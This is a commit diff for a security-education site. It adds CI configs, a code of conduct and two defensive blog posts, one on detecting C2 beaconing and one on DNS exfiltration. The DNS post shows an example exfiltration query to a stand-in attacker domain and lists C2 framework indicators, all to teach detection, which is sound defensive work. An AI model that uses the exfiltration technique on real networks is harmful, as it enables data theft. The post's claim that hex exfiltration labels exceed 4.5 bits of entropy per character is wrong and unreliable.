Skip to content

Commit 1aafe3f

Browse files
committed
Add more content
1 parent 08625fb commit 1aafe3f

16 files changed

Lines changed: 774 additions & 3 deletions

.github/dependabot.yml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
version: 2
2+
updates:
3+
- package-ecosystem: npm
4+
directory: /
5+
schedule:
6+
interval: weekly
7+
open-pull-requests-limit: 5

.github/workflows/lighthouse.yml

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
name: Lighthouse CI
2+
3+
on:
4+
push:
5+
branches: [main, master]
6+
pull_request:
7+
8+
jobs:
9+
lighthouse:
10+
runs-on: ubuntu-latest
11+
steps:
12+
- uses: actions/checkout@v4
13+
- uses: actions/setup-node@v4
14+
with:
15+
node-version: 20
16+
cache: npm
17+
- run: npm ci
18+
- run: npm run build
19+
- uses: treosh/lighthouse-ci-action@v11
20+
with:
21+
configPath: .lighthouserc.json
22+
uploadArtifacts: true
23+
temporaryPublicStorage: true

.lighthouserc.json

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
{
2+
"ci": {
3+
"collect": {
4+
"staticDistDir": "./dist"
5+
},
6+
"assert": {
7+
"assertions": {
8+
"categories:performance": ["warn", { "minScore": 0.9 }],
9+
"categories:accessibility": ["warn", { "minScore": 0.9 }],
10+
"categories:best-practices": ["warn", { "minScore": 0.9 }],
11+
"categories:seo": ["warn", { "minScore": 0.9 }]
12+
}
13+
}
14+
}
15+
}

CODE_OF_CONDUCT.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Code of Conduct
2+
3+
## Our pledge
4+
5+
We pledge to make participation in this project a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity, level of experience, nationality, personal appearance, race, religion, or sexual identity.
6+
7+
## Our standards
8+
9+
**Acceptable behavior:**
10+
- Using welcoming and inclusive language
11+
- Respecting differing viewpoints and experiences
12+
- Gracefully accepting constructive criticism
13+
- Focusing on what is best for the community
14+
15+
**Unacceptable behavior:**
16+
- Harassment, trolling, or personal attacks
17+
- Publishing others' private information without consent
18+
- Any conduct that would be unprofessional in a security research context
19+
20+
## Enforcement
21+
22+
Instances of unacceptable behavior may be reported to **nikolap994@gmail.com**. All complaints will be reviewed and investigated confidentially.
23+
24+
## Attribution
25+
26+
This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org), version 2.1.
27+

CONTRIBUTING.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# Contributing to FoilSuite
2+
3+
## Running locally
4+
5+
```bash
6+
cd foilsuite
7+
npm install
8+
npm run dev # http://localhost:4321
9+
npm run build # static build to dist/
10+
```
11+
12+
## What to contribute
13+
14+
- **Blog posts** — security deep dives, CTF write-ups, forensics tutorials. Add a new `.astro` file under `src/pages/blog/` following the existing post structure, then add it to the posts array in `src/pages/blog/index.astro`, `src/pages/blog/rss.xml.ts`, and `src/pages/sitemap.xml.ts`.
15+
- **FoilLab challenges** — new challenges go in `src/pages/lab/challenges/`. Add the challenge metadata to `src/data/challenges.ts` first.
16+
- **Bug fixes and UI improvements** — open an issue first for significant changes.
17+
18+
## Submitting changes
19+
20+
1. Fork the repo and create a branch from `main`.
21+
2. Make your changes and run `npm run build` to verify it builds cleanly.
22+
3. Open a pull request with a short description of what changed and why.
23+
24+
## Challenge submissions
25+
26+
To propose a new FoilLab challenge, open a GitHub issue with the `foillab` label using [this template](https://github.com/nikolap994/foilsuite/issues/new?labels=foillab&title=[CHALLENGE]+Your+Title+Here).
27+
28+
## Code of Conduct
29+
30+
See [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md).

src/layouts/Layout.astro

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -97,6 +97,7 @@ const labActive = (href: string) =>
9797
<a href="https://github.com/nikolap994/foilvault" target="_blank" rel="noopener">FoilVault</a>
9898
<span class="foot-sep">·</span>
9999
<a href="/blog">Blog</a>
100+
<a href="/privacy">Privacy</a>
100101
<span class="foot-sep">·</span>
101102
<a href="https://github.com/nikolap994/foilguard/blob/master/LICENSE" target="_blank" rel="noopener">MIT</a>
102103
</nav>
@@ -334,6 +335,31 @@ const labActive = (href: string) =>
334335
.badge-hard { background: rgba(239,68,68,0.1); color: #ef4444; border-color: rgba(239,68,68,0.2); }
335336
.badge-cat { background: rgba(255,255,255,0.05); color: var(--muted); border-color: var(--hair); font-weight: 400; text-transform: none; letter-spacing: 0; }
336337

338+
/* ── Light theme ── */
339+
@media (prefers-color-scheme: light) {
340+
:root {
341+
--bg: #f7f8fa;
342+
--panel: #ffffff;
343+
--text: #0f1117;
344+
--muted: #4b5563;
345+
--dim: #9ca3af;
346+
--hair: rgba(0, 0, 0, 0.08);
347+
}
348+
body { background: var(--bg); color: var(--text); }
349+
.site-nav {
350+
background: rgba(247, 248, 250, 0.92);
351+
border-bottom-color: rgba(0,0,0,0.08);
352+
}
353+
.nav-cta { color: #f7f8fa !important; background: #0f1117 !important; }
354+
.nav-cta:hover { background: var(--accent) !important; color: #08090d !important; }
355+
.lab-subnav { background: rgba(247,248,250,0.8); border-bottom-color: rgba(0,0,0,0.06); }
356+
.site-footer { border-top-color: rgba(0,0,0,0.08); }
357+
.post-body code { background: rgba(0,0,0,0.06); color: #166534; }
358+
.post-body .code-block { background: #f0f2f5; border-color: rgba(0,0,0,0.08); }
359+
.post-body .code-block code { color: #4338ca; }
360+
.badge-cat { background: rgba(0,0,0,0.04); border-color: rgba(0,0,0,0.08); }
361+
}
362+
337363
/* ── Responsive ── */
338364
@media (max-width: 640px) {
339365
.shell { padding: 0 20px; }
Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,83 @@
1+
---
2+
import Layout from '../../layouts/Layout.astro'
3+
4+
const post = {
5+
title: 'C2 Beacon Analysis — Recognising Command-and-Control Traffic in Packet Captures',
6+
date: '2026-06-29',
7+
category: 'DEEP DIVE',
8+
readTime: '7 min',
9+
author: 'Nikola Pavlović',
10+
}
11+
const description = 'After initial compromise, malware phones home on a schedule. This post explains beaconing patterns, how to measure jitter and interval consistency, and how to find a beacon hiding in normal HTTP traffic.'
12+
---
13+
<Layout title={post.title} description={description}>
14+
<main class="shell post-page">
15+
<div class="breadcrumb mono"><a href="/blog">blog</a> / {post.category.toLowerCase()}</div>
16+
17+
<article>
18+
<header class="post-header">
19+
<div class="post-meta mono">
20+
<span class="post-cat">{post.category}</span>
21+
<span>{post.date}</span>
22+
<span>{post.readTime} read</span>
23+
<span>by {post.author}</span>
24+
</div>
25+
<h1>{post.title}</h1>
26+
</header>
27+
28+
<div class="post-body">
29+
<p class="lead-para">{description}</p>
30+
31+
<h2>What is a beacon?</h2>
32+
<p>Once malware establishes a foothold on a host, it needs a way to receive instructions and return results to the attacker. Rather than maintaining a persistent connection — which would be immediately obvious — it sleeps for a fixed interval, then wakes, sends a short HTTP or HTTPS request to a command-and-control (C2) server, collects any queued commands, executes them, and sleeps again.</p>
33+
<p>This pattern is called <strong>beaconing</strong>. It is the communication heartbeat of nearly every modern piece of malware, from commodity RATs to nation-state implants. The beacon might fire every 60 seconds, every 5 minutes, or once a day depending on the operator's preference for speed versus stealth.</p>
34+
35+
<h2>The anatomy of a beacon request</h2>
36+
<p>A basic beacon HTTP request has recognisable characteristics:</p>
37+
<ul>
38+
<li><strong>Fixed destination:</strong> always the same IP or domain.</li>
39+
<li><strong>Small, consistent payload:</strong> check-in data is small (host ID, task queue). Response is small unless a command is waiting.</li>
40+
<li><strong>Consistent User-Agent:</strong> the implant sends the same UA string every time, often a static default from the C2 framework (Cobalt Strike's default UA was <code>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)</code> — IE 9, on a modern host).</li>
41+
<li><strong>Regular timing:</strong> the interval between requests is consistent, possibly with added jitter to avoid exact-second matching.</li>
42+
</ul>
43+
44+
<h2>Jitter and why it matters for detection</h2>
45+
<p>Sophisticated implants add randomness (jitter) to their sleep intervals. Instead of sleeping exactly 300 seconds, they sleep between 240–360 seconds. This breaks naive detection rules that look for exact-interval repetition.</p>
46+
<p>However, jitter does not break statistical analysis. If you collect 50 intervals between requests, the <strong>standard deviation</strong> and <strong>coefficient of variation</strong> (CV = σ/μ) will still be much lower than legitimate browsing traffic, which is highly irregular. Legitimate user traffic has a CV close to 1.0 or higher. Beacons typically have a CV below 0.3 even with 20% jitter applied.</p>
47+
<pre class="code-block"><code># Python: compute interval statistics from timestamps
48+
import statistics
49+
intervals = [301, 298, 304, 299, 303, 297, 302, 300] # seconds
50+
mean = statistics.mean(intervals)
51+
stdev = statistics.stdev(intervals)
52+
cv = stdev / mean
53+
print(f'mean={mean:.1f}s stdev={stdev:.2f} CV={cv:.3f}')
54+
# → mean=300.5s stdev=2.39 CV=0.008 ← unmistakably a beacon</code></pre>
55+
56+
<h2>Finding beacons in network logs</h2>
57+
<p>In a pcap, the workflow is:</p>
58+
<ul>
59+
<li><strong>Group by destination:</strong> collect all connections to each external IP. Sort by connection count descending. High-frequency connections to unfamiliar IPs are candidates.</li>
60+
<li><strong>Extract timestamps:</strong> for each candidate, list the time of every request and compute inter-arrival intervals.</li>
61+
<li><strong>Apply statistics:</strong> low CV, consistent payload size, unusual hours (beacons don't take lunch breaks) are high-confidence signals.</li>
62+
<li><strong>Inspect headers:</strong> stale or inconsistent User-Agent, missing Accept-Language, Accept-Encoding in a specific order — these are signs of a programmatic HTTP client, not a browser.</li>
63+
</ul>
64+
65+
<h2>Common C2 frameworks and their tells</h2>
66+
<ul>
67+
<li><strong>Cobalt Strike:</strong> default URI patterns (<code>/jquery-3.3.1.min.js</code>, <code>/pixel.gif</code>), Malleable C2 profiles change this — but many operators use defaults.</li>
68+
<li><strong>Metasploit Meterpreter:</strong> default port 4444, binary over TCP — easy to spot if not tunnelled.</li>
69+
<li><strong>Sliver:</strong> HTTPS with default self-signed certificates. JA3 fingerprint is distinctive.</li>
70+
<li><strong>PoshC2:</strong> often PowerShell User-Agent strings in the request headers.</li>
71+
</ul>
72+
73+
<h2>Practice it</h2>
74+
<p>The <a href="/lab/challenges/beacon">Phantom Heartbeat</a> challenge in FoilLab puts you in front of a packet capture where a beacon is hiding among normal web traffic. You need to identify the host, measure the interval, decode the callback, and extract the flag.</p>
75+
76+
<div class="post-footer">
77+
<a href="/blog">← all posts</a>
78+
<a href="/lab/challenges/beacon" class="cta-link">Try the challenge →</a>
79+
</div>
80+
</div>
81+
</article>
82+
</main>
83+
</Layout>
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
---
2+
import Layout from '../../layouts/Layout.astro'
3+
4+
const post = {
5+
title: 'DNS Exfiltration — How Attackers Tunnel Data Through Name Queries',
6+
date: '2026-06-29',
7+
category: 'DEEP DIVE',
8+
readTime: '8 min',
9+
author: 'Nikola Pavlović',
10+
}
11+
const description = 'DNS was designed to translate names to IPs — not to carry stolen data. This post explains how attackers encode files in DNS queries, why firewalls miss it, and how to detect it in a pcap.'
12+
---
13+
<Layout title={post.title} description={description}>
14+
<main class="shell post-page">
15+
<div class="breadcrumb mono"><a href="/blog">blog</a> / {post.category.toLowerCase()}</div>
16+
17+
<article>
18+
<header class="post-header">
19+
<div class="post-meta mono">
20+
<span class="post-cat">{post.category}</span>
21+
<span>{post.date}</span>
22+
<span>{post.readTime} read</span>
23+
<span>by {post.author}</span>
24+
</div>
25+
<h1>{post.title}</h1>
26+
</header>
27+
28+
<div class="post-body">
29+
<p class="lead-para">{description}</p>
30+
31+
<h2>Why DNS is the perfect exfiltration channel</h2>
32+
<p>Nearly every network — corporate, government, hospital — allows outbound DNS on UDP port 53. Block it and half the internet stops working. Attackers have known this for decades. DNS exfiltration abuses that trust by encoding stolen data inside the query itself, turning a protocol designed for name resolution into a covert data pipe.</p>
33+
<p>A standard DNS query looks like this:</p>
34+
<pre class="code-block"><code>query: www.google.com → 142.250.74.100</code></pre>
35+
<p>An exfiltration query looks like this:</p>
36+
<pre class="code-block"><code>query: 5a65726f5472757374.attacker-c2.com → (any response)</code></pre>
37+
<p>The subdomain label <code>5a65726f5472757374</code> is hex-encoded data. The DNS server controlled by the attacker receives the query, decodes the label, and reassembles the stolen file from the stream of queries. The network logs just show "DNS traffic to attacker-c2.com" — which looks unremarkable to a firewall that only checks if port 53 traffic is reaching a real DNS server.</p>
38+
39+
<h2>How encoding works</h2>
40+
<p>Each DNS label (the part between dots) can be up to 63 characters. The full query name can be up to 253 characters. Attackers use this space to carry encoded payloads. Common encodings:</p>
41+
<ul>
42+
<li><strong>Hex:</strong> Each byte becomes two characters. Simple, detectable by high-entropy labels.</li>
43+
<li><strong>Base32:</strong> Used when the DNS infrastructure is case-insensitive. Produces labels like <code>mfra2mjb</code>. Denser than hex, still high-entropy.</li>
44+
<li><strong>Base64url:</strong> Highest density but uses characters some DNS implementations reject.</li>
45+
</ul>
46+
<p>A typical exfiltration session breaks a file into chunks, encodes each chunk as a subdomain label, and sends one query per chunk. A 100 KB file at 50 bytes per label requires roughly 2,000 DNS queries — sent slowly enough to stay below anomaly thresholds.</p>
47+
48+
<h2>Detection signals</h2>
49+
<p>No single signal catches DNS exfiltration reliably, but these patterns together are strong indicators:</p>
50+
<ul>
51+
<li><strong>High query rate to a single domain:</strong> Legitimate DNS lookups are bursty and varied. Hundreds of queries to one domain in a short window is unusual.</li>
52+
<li><strong>Abnormal label length:</strong> Real hostnames rarely use 40+ character labels. Exfiltration labels are often at or near the 63-character maximum.</li>
53+
<li><strong>High entropy in the subdomain:</strong> Random-looking strings (hex, base32) have entropy close to the theoretical maximum. Human-readable subdomains do not.</li>
54+
<li><strong>NX or generic responses:</strong> The attacker's DNS server often returns <code>NXDOMAIN</code> or a static IP for all queries — it only cares about logging the query, not resolving it usefully.</li>
55+
<li><strong>Sequential structure:</strong> Exfiltration tools often include a sequence number in the label — like <code>0001.data</code>, <code>0002.data</code> — so the server can reassemble chunks in order.</li>
56+
</ul>
57+
58+
<h2>Walking through a pcap</h2>
59+
<p>In Wireshark, filter with <code>dns</code> then look at the Info column. Exfiltration traffic immediately stands out because the query names are long and structurally identical — same domain, same label length, incrementing prefix.</p>
60+
<p>Use <code>dns.qry.name contains "attacker-c2.com"</code> to isolate queries to the suspicious domain, then export the labels, strip the base domain, decode the base32/hex, and concatenate. You will recover the original file.</p>
61+
<p>To calculate entropy on a set of labels from the terminal:</p>
62+
<pre class="code-block"><code>python3 -c "
63+
import math, collections
64+
label = '5a65726f5472757374'
65+
freq = collections.Counter(label)
66+
entropy = -sum(p/len(label) * math.log2(p/len(label)) for p in freq.values())
67+
print(f'entropy: {entropy:.2f} bits/char')
68+
"</code></pre>
69+
<p>A real hostname like <code>mail.google.com</code> has entropy around 3.0. An exfiltration label will be above 4.5.</p>
70+
71+
<h2>Practice it</h2>
72+
<p>The <a href="/lab/challenges/dns-exfil">Silent Channel</a> challenge in FoilLab gives you a real packet capture with a DNS exfiltration session embedded in normal traffic. Your job is to identify the malicious queries, decode the data, and find the flag.</p>
73+
74+
<div class="post-footer">
75+
<a href="/blog">← all posts</a>
76+
<a href="/lab/challenges/dns-exfil" class="cta-link">Try the challenge →</a>
77+
</div>
78+
</div>
79+
</article>
80+
</main>
81+
</Layout>

0 commit comments

Comments
 (0)